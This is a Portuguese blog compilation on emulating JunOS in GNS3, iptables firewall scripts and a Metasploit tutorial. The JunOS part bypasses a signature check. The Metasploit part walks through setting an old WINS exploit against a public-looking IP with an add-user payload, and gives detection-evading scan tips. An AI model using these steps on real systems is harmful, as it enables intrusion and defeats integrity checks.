Emulando JunOS no GNS3

Emulando JunOS no GNS3 – Parte 1
Este artigo explica como emular o JunOS em uma máquina virtual utilizando o Qemu no Windows. Na verdade, esse tutorial é uma mistura do HOWTO do Olive com algumas alterações para o Windows.
Depois de pesquisar muito no Google, percebemos a carência de artigos em português sobre o assunto, mesmo nos sites e fóruns mais conhecidos sobre tecnologias cisco. Esse é um dos principais fatores que fazem os estudantes desistirem de configurar o GNS3 para emular o JunOS. Outro fator importante com certeza é a complexidade, que é muito superior e mais trabalhosa comparada à emulação de equipamentos Cisco, onde só configuramos o caminho da IOS e geralmente já está funcionando.
A tarefa se resume em instalar o Qemu, instalar o FreeBSD na máquina virtual, instalar o JunOS no FreeBSD, criar a imagem e finalmente configurá-la no GNS3. O apelido dado ao JunOS rodando em um PC ao invés de um roteador é “Olive”, esse termo normalmente é confundido com algum tipo de software. Saiba mais sobre esse assunto nesse link. Vamos começar?
Arquivos Necessários
Todos os arquivos exceto o GNS3 já possuem versões atualizadas, decidimos instalar essas versões por motivos de compatibilidade:
- GNS3 [link] – utilizamos a versão 0.7.4.
- Qemu [link] – versão 0.11.0
- FreeBSD [link] – Baixar uma versão acima da 4.5 pois as versões anteriores não suportam a interface Intel e1000 (driver da porta emX).
- FileZilla [link] – Versão 0.9.39
- JunOS – Utilizamos a versão jinstall-8.5R1.14-domestic-signed.tgz.
Instalando o Qemu
- Descompacte o arquivo qemu-0.11.0.patched.win32.zip em uma pasta de sua escolha. Não é necessário instalação, ele já está pronto para o uso.
- O Qemu é um emulador cli, para utilizar os comandos “qemu” e” qemu-img”, é necessário abrir o MS-DOS e entrar na pasta onde os arquivos foram descompactados.

 - Vamos criar a imagem para instalar o FreeBSD, utilizamos  o formato qcow2 com 4GB de espaço em disco:

C:\Qemu> qemu-img create -f qcow2 Multihop.img 4G

Note que o Qemu criou o arquivo “Multihop.img” dentro da pasta do Qemu:
C:\Qemu> dir *.img

Agora vamos instalar o FreeBSD na imagem criada no passo anterior,  copie o arquivo 4.11-RELEASE-i386-miniinst.iso para a pasta do Qemu e execute o comando abaixo, o parâmetro –m informa a quantidade de memória que será utilizada para a máquina virtual:
C:\Qemu> qemu -m 256 -hda Multihop.img -cdrom 4.11-RELEASE-i386-miniinst.iso \ -boot d –localtime

Vai aparecer a tela de instalação do FreeBSD, aperte enter e aguarde a próxima tela:

Na tela seguinte, escolha “Skip kernel configuration and continue with installation”:

Escolha a instalação Standard:

Aperte <Enter> na próxima tela, abrirá a tela do FDISK Partition Editor, aperte a tecla <A> e a tecla <Q> para iniciar a configuração:




Emulando JunOS no GNS3 – Parte 2
Escolha “Standard: Install a standard MBR (no boot manager)”:

Aperte <Enter> na próxima tela e vai abrir o FreeBSD Disklabel Editor, aperte <C> para criar a primeira partição, primeiro vamos criar a raiz “/” com 1024M, após apertar <C>, o FreeBSD vai perguntar o tamanho da partição, digite “1024M”, na tela seguinte, ele pergunta o tipo de partição, responda “FS – A File system”, e por último, ele pergunta o ponto de montagem, escreva “/” e aperte enter a tela vai ficar assim:

Crie mais uma partição “/config” com 12M, seguindo os mesmos passos acima, depois crie uma partição com 1024M, porém invez de escolher “FS – a file system” Escolha “Swap” para criar a partição de memória virtual, e por ultimo, aperte <C>, vai aparecer a tela de escolha do tamanho da partição, aperte <Enter> para ele pegar o restante,  escolha “FS – a file system” e crie a partição “/var”, sua tela deve ficar exatamente assim:

Aperte <Q> para finalizar e na próxima tela escolha “User – Average user – binary and doc only” e aperte <espaço>:

Na próxima tela escolha [No] para a pergunta “Would you like to install the FreeBSD ports collection?” [No]
Aperte <tab> e escolha [OK] e prossiga para a próxima tela, e responda “CD/DVD”:

Ele vai perguntar se você tem certeza que deseja continuar, responda [Yes] e prossiga a instalação:

Após concluir a instalação responda [No] para todas as perguntas até chegar na parte de setar o password do root:
Would you like to configure any Ethernet or SLIP/PPP network devices? [No]
Do you want this machine to function as a network gateway? [No]
Do you want to configure inetd? [No]
Do you want to have anonymous FTP access to this machine? [No]
Do you want to configure this machine as an NFS client? [No]
Do you want to select a default security profile? [No]
Customize your system console settings? [No]
Do you like to set this machine’s time zone now? [No]
Enable Linux binary compatibility? [No]
Does this system have a non-USB mouse? [No]
Install  FreeBSD package colletion? [No]
Add initial user accounts to the system? [No]
Adicione o password e responda [No] novamente na próxima tela, agora você vai voltar para a tela inicial de instalação do FreeBSD, aperte <tab> e escolha “Exit Install”. Confirme e aguarde o reboot do sistema, após o reboot, ele vai voltar para a tela inicial de instalação, aperte “Ctrl-Alt-2” e escreva  “quit”.

Concluímos a instalação do FreeBSD, agora vamos para a instalação do Junos.


Emulando JunOS no GNS3 – Parte 3

- Instalação do JunOS
Vamos instalar o JunOS no nosso FreeBSD, utilizamos a imagem JunOS 8.5R1.14, você pode tentar outras imagens, porém espere por resultados diferentes do tutorial. Vamos iniciar o FreeBSD com a placa de rede virtual Intel e1000.
qemu -m 256 -hda Multihop.img -boot c -localtime \
-net nic,macaddr=00:aa:00:60:01:01,model=e1000 -net user

Após iniciar o sistema, efetue o login como “root” e digite o password que foi definido na instalação, agora utilize o comando dhclient para pegar um IP e um gateway:
dhclient em0
netstat -r

Use o “ifconfig” e perceba que o FreeBSD pegou um endereço IP, e o endereço de gateway 10.0.2.2/24. No meu caso foi definido o IP 10.0.2.15/24 para a máquina virtual.
Endereço da máquina virtual:     10.0.2.15/24
Endereço da máquina real:          10.0.2.2/24
Agora que a conectividade entre as duas máquinas estão funcionando, temos que transferir o JunOS para a máquina virtual, no tutorial que utilizamos do blog do GNS3, o criador do tutorial Jeremy Grossmann utilizou o SCP no Mac OS X, porém decidimos utilizar FTP.  Instale algum servidor de FTP de sua escolha, decidimos utilizar o FileZilla. Após instalado, mantenha as configurações padrões:


Agora vamos criar o usuário do FreeBSD, no menu escolha Edit/Users, na tela de usuários, clique em “Add” e crie o login desejado, após isso, o programa vai pedir para mostrar o caminho onde os arquivos vão ser disponibilizados, configure e clique em OK.


Copie o arquivo jinstall-8.5R1.14-domestic-signed.tgz para a pasta especificada no passo anterior. Agora a máquina virtual está pronta para baixar o arquivo, execute os seguintes comandos no FreeBSD:
# ftp
ftp> ftp
(to) 10.0.2.2
login: Multihop
(Enter)
Agora estamos logados no servidor FTP, primeiro vamos alterar o modo de transmissão para binário, caso você esqueça desse comando, o arquivo não vai ser descompactado pois virá corrompido,  vamos mudar a pasta local para /var/tmp e pegar o arquivo:
ftp> binary
ftp> lcd /var/tmp
ftp> get jinstall-8.5R1.14.-domestic-signed.tgz
ftp> bye





Emulando JunOS no GNS3 – Parte 4

Se efetuarmos a instalação agora, será gerado um erro e a imagem não poderá ser instalada, este arquivo possui um binário chamado checkpic, temos que copiar o arquivo /usr/bin/true no arquivo checkpic, após a alteração, vamos recalcular o MD5 e o SHA1 checksums, compactar o arquivo novamente, e instalá-lo com o pkg_add.
# cd /var/tmp
# mkdir jinst-signed
# cd jinst-signed
# tar zxvf ../jinstall-8.5R1.14-domestic-signed.tgz
# mkdir jinst
# cd jinst
# tar zxvf ../jinstall-8.5R1.14-domestic.tgz
# mkdir pkgtools
# cd pkgtools
# tar zxvf ../pkgtools.tgz
# cd bin
# cp /usr/bin/true ./checkpic
# cd ..
# tar zcvf ../pkgtools.tgz *
# cd ..
# rm -rf pkgtools
# tar zcvf ../jinstall-8.5R1.14-domestic.tgz *
# cd ..
# rm -rf jinst
# md5 -q jinstall-8.5R1.14-domestic.tgz > jinstall-8.5R1.14-domestic.tgz.md5
# sha1 -q jinstall-8.5R1.14-domestic.tgz > jinstall-8.5R1.14-domestic.tgz.sha1
# tar zcfv /var/tmp/JunOS-Multihop.tgz *
# pkg_add -f /var/tmp/JunOS-Multihop.tgz
Depois do término da instalação, desligue a máquina virtual com o comando halt, aperte “Crtl+Alt+2” e escreva quit. O passo anterior foi uma pré-instalação, o jinstall foi instalado no bootstrap da máquina virtual, os roteadores Juniper redirecionam todas as saidas para a porta serial,  então vamos executar a máquina virtual, e apertar “Ctrl+Alt+3” para alterar para a porta serial:
qemu -m 256 -hda Multihop.img -boot c -localtime
Aperte <Ctrl+Alt+3> e aguarde
Perceba que a instalação do Junos inicia automaticamente:

Logue como root e perceba que o JunOS foi instalado com sucesso. Agora vamos criar a imagem para adicionar no GNS3, desligue a maquina virtual apertando “Ctrl+Alt+2” e digitando o comando quit. Agora vamos criar 3 imagens de JunOs chamadas R1,R2 e R3. No MS-DOS digite o comando:
C:\Qemu>qemu-img.exe create -b Multihop.img -f qcow2 R1.img
C:\Qemu>qemu-img.exe create -b Multihop.img -f qcow2 R2.img
C:\Qemu>qemu-img.exe create -b Multihop.img -f qcow2 R3.img
Agora entre no GNS e clique em Edit/Preferences. Escolha Qemu e clique na aba JunOS e mostre o caminho das imagens criadas, adicione 256 de RAM e clique em “Use Kqemu” para habilitar a aceleração da máquina virtual:
A
Aplique e dê OK, agora vamos testar, adicione um roteador Juniper e outro Cisco, interligue a placa em0 do Juniper com a FastEthernet do Cisco e vamos verificar se existe conectividade:

Cisco:
R1#ena
R1#conf t
R1#int FastEthernet0/0
R1#ip add 192.168.0.2 255.255.255.0
R1#no shut
Juniper
root@% cli
root> configure
root# set interfaces em0 unit 0 family inet address 192.168.0.1/24
root# set system root-authentication plain-text-password
root# commit
root# exit
root> ping 192.168.0.2
Comunicação OK :

Referências:
http://blog.gns3.net/2009/10/olive-juniper/
http://juniper.cluepon.net/index.php/Olive
http://inetpro.org/wiki/Using_QEMU_with_Olive_to_emulate_Juniper_Routers

Configurando um Firewall do Linux usando Iptables

Configurando um Firewall do Linux usando Iptables

Visão geral

Esta página irá descrever como eu configurar os scripts de firewall iptable para Linux 2.4 ou posterior. Este não é um How-To, não tentará ensinar-lhe nada sobre IPTables, estes são apenas scripts que você pode usar o que eu sei trabalhar, e trabalhar bem. Esses scripts são o que eu costumo usar quando configurar computadores de firewall.

Os Scripts

Eu uso 3 scripts diferentes para iniciar / desativar os serviços de firewall para Linux.

Um script pre.iptable que vai negar tudo o que vem na Internet. Eu iniciar este antes de qualquer interface de rede chegar a isso, quando a rede subir é protegida no caso, por qualquer motivo, o script de firewall principal falhar para inicializar.

Um script rc.firewall como o script principal para iniciar todo o firewall e serviços necessários para executar disfarçados na rede. Basicamente o que este script vai fazer é permitir que qualquer pessoa na rede interna para acessar todos os serviços de internet, mas ninguém do lado de fora não podem acessar a rede interna, a menos que alguém na rede interna inicia a comunicação.

Finalmente um script para liberar todas as IPTables no desligamento, ou sempre que fazer alterações no script principal.

Para que o IPTables para funcionar corretamente, você deve ter todos os módulos do kernel necessários disponíveis, eles são listados no script rc.iptables principal. A maioria das distribuições de Linux já oferecem estes dentro de kernels padrão.

O Script pre.iptables
################################################################################

#!/bin/sh

######### Script to start firewall support before ethernet card initialize

echo "Starting Pre-Firewalling..."

iptables -F
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

################################################################################
 

Você pode baixar o meu script de pre.iptables aqui.

Como você pode ver, lá realmente não é muito para este script. Tudo o que ele faz basicamente é gotas todo tráfego indo ou saindo da caixa de Linux. Algumas pessoas consideram este comportamento extremamente paranóico, mas isso irá garantir a rede caso o script rc.firewall não será inicializado.
Para usar esse script, o que eu faço é para copiá-lo para o diretório /etc/rc.d/init.d, torná-lo executável (chmod + x pre.iptables), em seguida, vinculá-lo a qualquer runlevel que deseja executá-lo sob. O comando a seguir explica a ligação simbólica.
ln -s /etc/rc.d/init.d/pre.iptables /etc/rc.d/rc3.d/S01preiptables

O Script flsh.iptables
################################################################################

#!/bin/sh

######### Script to flush the firewall tables

echo "Flushing Firewall and Deleting Chains"

iptables -F icmp_packets
iptables -F tcp_packets
iptables -F udpincoming_packets
iptables -F allowed
iptables -F

iptables -X icmp_packets
iptables -X tcp_packets
iptables -X udpincoming_packets
iptables -X allowed

iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

################################################################################

 

Você pode baixar o nosso script de flsh.iptables aqui.

Tudo o que este script faz é se livrar de todas as tabelas personalizadas que você cria com o meu script de rc.firewall, bem como fazendo a ação padrão para descartar todo o tráfego em caixa de Linux. Você deve usar esse script quando você desligar o computador. Você também deve usar esse script sempre que você fizer alterações para o script rc.firewall para que você começa com uma ardósia limpa. O seguinte é um comando para permitir que esse script seja executado cada vez que você desligar o computador. Você também deve fazer um link simbólico para /usr/bin ou em qualquer outro em seu caminho para permitir a fácil liberação do firewall.
ln -s /etc/rc.d/init.d/flsh.iptables /etc/rc.d/rc0.d/S01flshiptables

ln -s /etc/rc.d/init.d/flsh.iptables /usr/bin/flsh.iptables
O Script rc.firewall
#!/bin/sh

###################################
#
# IP Firewall script with NAT for
# Dual-Homed Linux Servers
# Author: Mike Petersen
#
# Updated July 2010 for RHEL
###################################

# Configuration Options

EXTERNAL_INTERFACE="eth0"
LOOPBACK_INTERFACE="lo"
LAN_INTERFACE_1="eth1"
IPTABLES_CMD="/sbin/iptables"

# Load needed Modules
/sbin/modprobe ip_tables
/sbin/modprobe ip_conntrack
/sbin/modprobe iptable_filter
/sbin/modprobe iptable_mangle
/sbin/modprobe iptable_nat
/sbin/modprobe ipt_LOG
/sbin/modprobe ipt_limit
/sbin/modprobe ipt_state
/sbin/modprobe ipt_REJECT
#/sbin/modprobe ipt_MASQUERADE
/sbin/modprobe ip_conntrack_ftp
/sbin/modprobe ip_conntrack_irc
/sbin/modprobe ip_nat_ftp
/sbin/modprobe ip_nat_irc
# /sbin/modprobe ipt_owner

# Get the IP Addresses for the network cards
IPADDR=`/sbin/ifconfig $EXTERNAL_INTERFACE | grep -i "addr:" | cut -f2 -d: | cut -f1 -d " "`
LAN_IPADDR=`/sbin/ifconfig $LAN_INTERFACE_1 | grep -i "addr:" | cut -f2 -d: | cut -f1 -d " "`
LOCALHOST_IP="127.0.0.1/32"
LAN_BCAST_ADDRESS=`/sbin/ifconfig $LAN_INTERFACE_1 | grep -i "Bcast:" | cut -f3 -d: | cut -f1 -d " "`

##########

echo "Starting Firewalling... "
echo "1" > /proc/sys/net/ipv4/ip_forward
# clear existing Tables/Chains
$IPTABLES_CMD -F
$IPTABLES_CMD -X

########## Set default policies
$IPTABLES_CMD -P INPUT DROP
$IPTABLES_CMD -P OUTPUT DROP
$IPTABLES_CMD -P FORWARD DROP
$IPTABLES_CMD -A INPUT -i $LOOPBACK_INTERFACE -j ACCEPT
$IPTABLES_CMD -A OUTPUT -o $LOOPBACK_INTERFACE -j ACCEPT

########## Prerouting chain - Check for obviously spoofed IP's don't use during testing between private networks
########## add problem Internet IP Addresses here to drop (attempted breakins, etc.)
# $IPTABLES_CMD -t nat -A PREROUTING -i $EXTERNAL_INTERFACE -s 192.168.0.0/24 -j DROP
# $IPTABLES_CMD -t nat -A PREROUTING -i $EXTERNAL_INTERFACE -s 10.0.0.0/8 -j DROP
# $IPTABLES_CMD -t nat -A PREROUTING -i $EXTERNAL_INTERFACE -s 172.16.0.0/12 -j DROP

########## Port Forwarding in Prerouting Chain
# Example of Port Forwarding, first allow the specific FORWARD connection, then reroute it
# $IPTABLES_CMD -A FORWARD -p TCP -i $EXTERNAL_INTERFACE --dport 80 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
# $IPTABLES_CMD -A PREROUTING -p TCP -t nat -d $IPADDR --dport 80 -m state --state NEW,ESTABLISHED,RELATED -j DNAT --to 10.0.0.2:80

########## Drop certain bad packets
$IPTABLES_CMD -N bad_tcp_packets
$IPTABLES_CMD -A bad_tcp_packets -p tcp --tcp-flags SYN,ACK Syn,ACK -m state --state NEW -j REJECT --reject-with tcp-reset
$IPTABLES_CMD -A bad_tcp_packets -p tcp ! --syn -m state --state NEW -j LOG --log-prefix "NEW not syn:"
$IPTABLES_CMD -A bad_tcp_packets -p tcp ! --syn -m state --state NEW -j DROP
$IPTABLES_CMD -A INPUT -p tcp -j bad_tcp_packets

########## Ensure LAN ADDR aren't blocked
$IPTABLES_CMD -A INPUT -p ALL -i $LAN_INTERFACE_1 -d $LAN_BCAST_ADDRESS -j ACCEPT
$IPTABLES_CMD -A INPUT -p ALL -d $LOCALHOST_IP -j ACCEPT
$IPTABLES_CMD -A INPUT -p ALL -d $LAN_IPADDR -j ACCEPT
$IPTABLES_CMD -A INPUT -p ALL -d $IPADDR -m state --state ESTABLISHED,RELATED -j ACCEPT

########## Create chains for each packet type
########## and filter the packets onto the correct chains.
$IPTABLES_CMD -N icmp_packets
$IPTABLES_CMD -N tcp_packets
$IPTABLES_CMD -N udpincoming_packets
$IPTABLES_CMD -A INPUT -p ICMP -i $EXTERNAL_INTERFACE -j icmp_packets
$IPTABLES_CMD -A INPUT -p TCP -i $EXTERNAL_INTERFACE -j tcp_packets
$IPTABLES_CMD -A INPUT -p UDP -i $EXTERNAL_INTERFACE -j udpincoming_packets

########## The Allowed Chain for TCP connections
$IPTABLES_CMD -N allowed
$IPTABLES_CMD -A allowed -p TCP --syn -j ACCEPT
$IPTABLES_CMD -A allowed -p TCP -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES_CMD -A allowed -p TCP -j DROP

########## Open ICMP rules (Internet Control Message Protocol)

$IPTABLES_CMD -A icmp_packets -p ICMP -s 0/0 --icmp-type 0 -j ACCEPT
$IPTABLES_CMD -A icmp_packets -p ICMP -s 0/0 --icmp-type 3 -j ACCEPT
$IPTABLES_CMD -A icmp_packets -p ICMP -s 0/0 --icmp-type 5 -j ACCEPT
$IPTABLES_CMD -A icmp_packets -p ICMP -s 0/0 --icmp-type 8 -j ACCEPT
$IPTABLES_CMD -A icmp_packets -p ICMP -s 0/0 --icmp-type 11 -j ACCEPT

########## Open TCP rules (Transmission Control Protocol)
### FTP port
$IPTABLES_CMD -A tcp_packets -p TCP -i $EXTERNAL_INTERFACE -s 0/0 --dport 21 -j allowed
### SSH port
$IPTABLES_CMD -A tcp_packets -p TCP -i $EXTERNAL_INTERFACE -s 0/0 --dport 22 -j allowed
### SMTP Mail Server port
# $IPTABLES_CMD -A tcp_packets -p TCP -i $EXTERNAL_INTERFACE -s 0/0 --dport 25 -j allowed
### DNS port
$IPTABLES_CMD -A tcp_packets -p tcp -i $EXTERNAL_INTERFACE -s 0/0 --dport 53 -j allowed
### HTTP port
# $IPTABLES_CMD -A tcp_packets -p tcp -i $EXTERNAL_INTERFACE -s 0/0 --dport 80 -j allowed
### POP3 port
# $IPTABLES_CMD -A tcp_packets -p TCP -i $EXTERNAL_INTERFACE -s 0/0 --dport 110 -j allowed
### IRC port
# $IPTABLES_CMD -A tcp_packets -p TCP -i $EXTERNAL_INTERFACE -s 0/0 --dport 113 -j allowed
### IMAP port
# $IPTABLES_CMD -A tcp_packets -p TCP -i $EXTERNAL_INTERFACE -s 0/0 --dport 143 -j allowed

########## Open UDP ports (User Datagram Protocol)
### DNS
$IPTABLES_CMD -A udpincoming_packets -p UDP -i $EXTERNAL_INTERFACE -s 0/0 --source-port 53 -j ACCEPT
### NTP
$IPTABLES_CMD -A udpincoming_packets -p UDP -i $EXTERNAL_INTERFACE -s 0/0 --source-port 123 -j ACCEPT
### IMAP
$IPTABLES_CMD -A udpincoming_packets -p UDP -i $EXTERNAL_INTERFACE -s 0/0 --source-port 143 -j ACCEPT

#### Enable to log INPUT errors That didn't match anything above
$IPTABLES_CMD -A INPUT -m limit --limit 3/minute --limit-burst 3 -j LOG --log-level DEBUG --log-prefix "IPT INPUT packet died: "

########## FORWARD RULES
$IPTABLES_CMD -A FORWARD -p tcp -j bad_tcp_packets
$IPTABLES_CMD -A FORWARD -i $LAN_INTERFACE_1 -j ACCEPT
$IPTABLES_CMD -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES_CMD -A FORWARD -m limit --limit 3/minute --limit-burst 3 -j LOG --log-level DEBUG --log-prefix "IPT FORWARD packet died: "

########## OUTPUT chain # Establish the basic Output chain
$IPTABLES_CMD -A OUTPUT -p tcp -j bad_tcp_packets
$IPTABLES_CMD -A OUTPUT -p ALL -s $LOCALHOST_IP -j ACCEPT
$IPTABLES_CMD -A OUTPUT -p ALL -s $LAN_IPADDR -j ACCEPT
$IPTABLES_CMD -A OUTPUT -p ALL -s $IPADDR -j ACCEPT
$IPTABLES_CMD -A OUTPUT -m limit --limit 3/minute --limit-burst 3 -j LOG --log-level DEBUG --log-prefix "IPT OUTPUT packet died: "

########## Enable SNAT / Masquerading
# If you want to use Masquerading instead of SNAT
# $IPTABLES_CMD -t nat -A POSTROUTING -o $EXTERNAL_INTERFACE -j MASQUERADE
$IPTABLES_CMD -t nat -A POSTROUTING -o $EXTERNAL_INTERFACE -j SNAT --to-source $IPADDR


 

Você pode baixar o nosso script de rc.iptables aqui.

Para fazer isto automaticamente executar na inicialização você poderia fazer um link simbólico de /etc/rc.d/init.d/rc.iptables para /etc/rc.d/rc3.d/S15iptables. Isso deve funcionar para qualquer conexão com a Internet, estática ou DHCP. Apenas certifique-se de que especificar as NICs corretas para cada conexão no script.
Como você pode ver no script, permiti determinados serviços para servidores de acesso para o computador de firewall, como o http ou ssh. Você pode adicionar seus próprios serviços que você deseja permitir o acesso a, apenas experimentar.
 

Retirado de PCC-Services.com.

Tutorial de Guia do Metasploit

Este tutorial é o melhor encontrado na internet sobre o uso do software Metasploit, é um tutorial bem detalhado sobre seu uso e funcionamento básico onde qualquer pessoa possa entender como utiliza-lo. Você pode achar um tanto estranho a linguagem pois o tutorial está em português de Portugal.

O Metasploit é um framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits.

Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho realidade

Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele. Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável pelos seus actos.
De qualquer forma, e devido a certos requesitos dos testes de intrusão deverão usar sempre proxy a não ser que usem um Lab com VM´s
 

Uma das coisas que hoje já existe no metasploit é uma interface gráfica via browser que simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos (msfcl)
A interface gráfica é o msfweb – Interface gráfica via browser

Vou usar o linux mas há também a versão para windows.
Então levando em consideração que tenham instalado no vosso PC e está a funcionar, vamos dar uma vista sobre a utilização desta SUPER PODEROSA FERRAMENTA… um sonho tornado realidade… para mim que ainda me lembro quando para fazer isto era preciso dezenas de tools e procedimentos… agora tá tudo integrado numa plataforma/framework.
Vou também ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para que não possa ser usado como guia total para um ataque, visto cobrir todo o percurso de exploitation. Mas basta seleccionar outros exploits para as novas coisinhas…
Vejam também a, digamos, o irmão web que é a excelente w3af “Web Application Attack and Audit Framework.”
Apesar do metasploit também estar preparado para ataques web, mas eu especializei-me nos dois e é melhor trabalhar com as duas em conjunto.

O metasploit possui várias ferramentas dentre elas: (e muitas mais para vocês explorarem… explorem os payloads, os exploits e todos os outros utilitários.
Podem fazer-lo lendo ou explorando nos ficheiros ou com comandos do tipo “show payloads” ou “show exploits”, entre outros.)

msfconsole – metasploit em modo console
msfcli - interface de automatização de penetração e exploração
msflogdump – exibe sessões de arquivos de log
msfplayload - usado para gerar payloads customizados
msfpescan – utilizado para analisar e descompilar executáveis e DLLs
msfencode – um codificador interactivo de payload encoder
msfupdate – utilizado para verificar e fazer download de actualização do framework
msfweb – Interface gráfica via browser

Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão gratuita do detector de vulnerabilidades automático, o NeXpose Community Edition… ele detecta as vulnerabilidades e integra-se com o metasploit.

Nexpose (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp

Podem, como eu, usar o Nessus para isso ou outras ferramentas… hoje até o nmap têm scripts para detectar vulnerabilidades, que são a principal questão no exploitation… é a partir de uma vulnerabilidade que tudo acontece e precisam saber a versão exacta do software alvo e do SO… em alguns casos no windows até a língua em que o windows esta.

Algo essencial para se escolher o exploit certo é saber o serviço e a versão exacta do mesmo, pois os exploits são feitos nessa base. Para tal e se soubermos já que há uma vulnerabilidade para um apache 2 versão anterior à 2.15, podemos fazer um scan especifico com o Nmap a essa porta (80) para não dar nas vistas. É como se alguem tivesse a aceder ao site, pois apenas são enviados pacotes para a porta 80. Se fizerem um scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que é um scan e corta. Saibam o que procurar e não façam scans a todas as portas, a não ser que não haja qualquer equipamento especial, como acontece na maioria dos datacenters para as contas mais baixas. As mais usadas.

Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo (o –T0 é para que haja maior espaço de tempo entre o envio de pacotes, para dificultar a detecção. Mas não é uma técnica de evasão e pode ser dispensado. O Nmap têm diversas técnicas de evasão, como spoofing, etc… explorem a documentação)

Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª Edição – Julho de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendo um relatório dos resultados. Estes scripts procurar milhares de vulnerabilidades, mas apensa as conhecidas. Podem desenvolver os vossos próprios scripts NASL para coisas novas.

Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três destas ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro aprenderá sozinho o restante… como sempre dou a base para futuras explorações. Ajuda ao ensino e evita script kiddies.

msfconsole:
Primeiramente digita-se na linha de comando:

[root]#./msfconsole
se for no windows só digite msfconsole sem ./, continuando deverá aparecer algo como: (neste caso já foi usado o comando “show exploits” para se ter uma lista dos exploits. O comando show serve para outras coisas como payloads e opções. Ver em detalhe)

Para quem dá o primeiro passo pode executar o comando “help” para ver os comandos de consola. Atenção que isto são apenas os comandos de consola e não todas as suas funcionalidades.

Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a sério já saberão que exploit usar, será: show [opção] (a opção poderá ser uma das que vos aparecerão senão digitarem nenhuma, como podem ver no exemplo em seguida

desta forma:

msf > show
msfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops'
msf >
Viram que apareceram as opções deste comando. O mesmo acontece com outros comandos, pois podem ir assim explorando a framework.Para saberem quais os exploits que existem nesta framework (desde a ultima actualização, devem ir actualizando o metasploit que está em constante evolução) basta digitar o comando:

msf >show exploits;

Para saber os payloads que existem neste framework basta digitar o comando: show payloads e assim por diante.

Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando “use”:

msf > use wins_ms04_045
msf wins_ms04_045 >
viram que eu escolhi o wins_ms04_045 e o prompt mudou ?. Utilizando para isto o comando: usecontinuando…

Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele aceita . Vejamos:

msf wins_ms04_045 > show
msfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced'
msf wins_ms04_045 >

Vimos aqui que ele aceita targets, payloads, options ou advanced.
Vamos verificar quais opções que este exploit já seleccionado aceita:

msf wins_ms04_045 > show options

Exploit Options
===============

Exploit: Name Default Description

-------- ------ ------- ------------------
required RHOST The target address
required RPORT 42 The target port

Target: Target Not Specified

msf wins_ms04_045 >

Este exploit aceita somente duas opções : o ip alvo e a porta alvo. ?

Agora deves estar a perguntar… como faço para utilizar isto. Simples, basta configurar o que o exploit aceita (há diferenças entre exploits e cada vez mais, pois mais complexidade e vectores são adicionados, diferenciando cada vez mais os exploits), lembrando que onde estiver escrito required, significa que estas opções tem que ser configuradas obrigatoriamente para o exploit funcionar. Continuando…

Façamos assim:

msf wins_ms04_045 > set RHOST 200.126.35.34
RHOST -> 200.126.35.34
msf wins_ms04_04>

msf wins_ms04_045 > set RPORT 42
RPORT -> 42
msf wins_ms04_045 >

Vejam que utilizei a mesma porta que o valor por default…
Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais é que um software acoplado ao exploit para fazer as mais variadas tarefas.
Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show payloads

msf wins_ms04_045 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf wins_ms04_045 >

Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje já há payloads para tudo e todos os SO´s… até uma shell especial para cracking que é o meterpreter)

O meterpreter é um complexo payload que é uma espécia de shell especial para cracking, com funcionalidades especificas para isso. Algo que já falei bastante também.

Documento onde é detalhado técnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf

Caso queiram usar o meterpreter, na selecção do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter… isto vai criar uma sessão no alvo, com o meterpreter e como é reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede é confiável.

Assim:

msf wins_ms04_045 > set PAYLOAD win32_adduser jolie
PAYLOAD win32_adduser -> jolie
msf wins_ms04_045>

